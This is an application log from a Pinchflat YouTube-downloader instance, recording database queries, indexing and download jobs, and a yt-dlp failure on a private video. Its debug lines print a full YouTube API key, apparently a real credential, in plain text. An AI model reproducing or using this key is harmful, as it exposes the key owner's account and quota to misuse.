source="media_metadata" db=0.0ms idle=332.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564148] 17:42:07.180 [info] Sent 200 in 4ms 17:42:20.867 [info] GET /sources/1b5043dd-323a-4290-b9d6-fcb820d902a3/feed.xml 17:42:20.868 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "1b5043dd-323a-4290-b9d6-fcb820d902a3"} Pipelines: [:maybe_basic_auth] 17:42:20.868 [debug] QUERY OK source="sources" db=0.2ms idle=1989.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["1b5043dd-323a-4290-b9d6-fcb820d902a3"] 17:42:20.870 [debug] QUERY OK source="media_items" db=2.2ms idle=1990.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 17:42:20.872 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1993.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 17:42:20.872 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1061.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564181] 17:42:20.872 [info] Sent 200 in 4ms 17:42:29.722 [info] {"source":"oban","duration":7435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:59.730 [info] {"source":"oban","duration":7535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.094 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:43:29.739 [info] {"source":"oban","duration":7715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:59.749 [info] {"source":"oban","duration":10292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.095 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:44:29.758 [info] {"source":"oban","duration":7727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:59.768 [info] {"source":"oban","duration":10334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.096 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:45:29.777 [info] {"source":"oban","duration":8362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:59.786 [info] {"source":"oban","duration":7883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.097 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:46:24.064 [info] {"args":{"id":1544182},"id":3766455,"meta":{},"system_time":1770767184064385085,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 17:46:24.065 [debug] QUERY OK source="media_items" db=0.8ms idle=1186.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1544182] 17:46:24.065 [info] User scripts lifecyle file either not present or is empty. Skipping. 17:46:24.066 [debug] QUERY OK source="sources" db=1.2ms idle=1009.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:46:24.067 [debug] QUERY OK source="media_profiles" db=0.9ms idle=188.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:24.068 [debug] QUERY OK source="media_items" db=0.7ms idle=10.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1544182] 17:46:24.069 [debug] QUERY OK source="media_metadata" db=0.0ms idle=5.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1544182] 17:46:24.069 [debug] QUERY OK source="media_profiles" db=0.0ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:24.069 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:24.069 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:24.070 [debug] Running yt-dlp command for action: get_downloadable_status 17:46:24.070 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:24.070 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:24.070 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:24.070 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=qfjWEDum0ps --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/84/a2/84a240bcf4ab588c5447ed7eddb7f7535bb9c5e61ae312f8d709f357884d84ed.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:46:24.973 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=qfjWEDum0ps --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/84/a2/84a240bcf4ab588c5447ed7eddb7f7535bb9c5e61ae312f8d709f357884d84ed.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] qfjWEDum0ps: Private video. Sign in if you've been granted access to this video. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 17:46:24.973 [error] yt-dlp download error for media item #1544182: "ERROR: [youtube] qfjWEDum0ps: Private video. Sign in if you've been granted access to this video. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 17:46:24.973 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":1544182},"id":3766455,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":909114,"event":"job:exception","queue_time":112592,"attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 17:46:29.797 [info] {"source":"oban","duration":10319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:34.075 [info] {"args":{"id":30},"id":3800233,"meta":{},"system_time":1770767194075552571,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:34.075 [debug] QUERY OK source="sources" db=0.1ms idle=1197.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:46:34.076 [debug] QUERY OK source="settings" db=0.0ms idle=1008.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:34.076 [debug] QUERY OK source="media_profiles" db=0.0ms idle=197.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:34.076 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:34.076 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:46:34.076 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:34.076 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:34.253 [debug] QUERY OK source="media_items" db=0.5ms idle=177.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:46:34.254 [debug] QUERY OK source="media_items" db=0.2ms idle=177.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:46:34.254 [debug] QUERY OK source="tasks" db=0.1ms idle=178.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800272, 30, ~U[2026-02-10 23:46:34Z], ~U[2026-02-10 23:46:34Z]] 17:46:34.255 [info] {"args":{"id":30},"id":3800233,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":179465,"event":"job:stop","queue_time":481434,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:35.075 [info] {"args":{"id":17},"id":3800234,"meta":{},"system_time":1770767195075726521,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:35.076 [debug] QUERY OK source="sources" db=0.1ms idle=820.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 17:46:35.076 [debug] QUERY OK source="settings" db=0.1ms idle=820.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:35.076 [debug] QUERY OK source="media_profiles" db=0.0ms idle=814.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:35.076 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:35.076 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:46:35.076 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:35.076 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:35.234 [debug] QUERY OK source="media_items" db=0.5ms idle=157.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:46:35.234 [debug] QUERY OK source="media_items" db=0.1ms idle=158.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:46:35.235 [debug] QUERY OK source="tasks" db=0.1ms idle=158.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800273, 17, ~U[2026-02-10 23:46:35Z], ~U[2026-02-10 23:46:35Z]] 17:46:35.235 [info] {"args":{"id":17},"id":3800234,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":159922,"event":"job:stop","queue_time":562123,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:37.077 [info] {"args":{"id":33},"id":3800235,"meta":{},"system_time":1770767197077715310,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:37.078 [debug] QUERY OK source="sources" db=0.1ms idle=199.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:46:37.078 [debug] QUERY OK source="settings" db=0.1ms idle=199.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:37.078 [debug] QUERY OK source="media_profiles" db=0.1ms idle=199.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:37.078 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:37.078 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:46:37.078 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 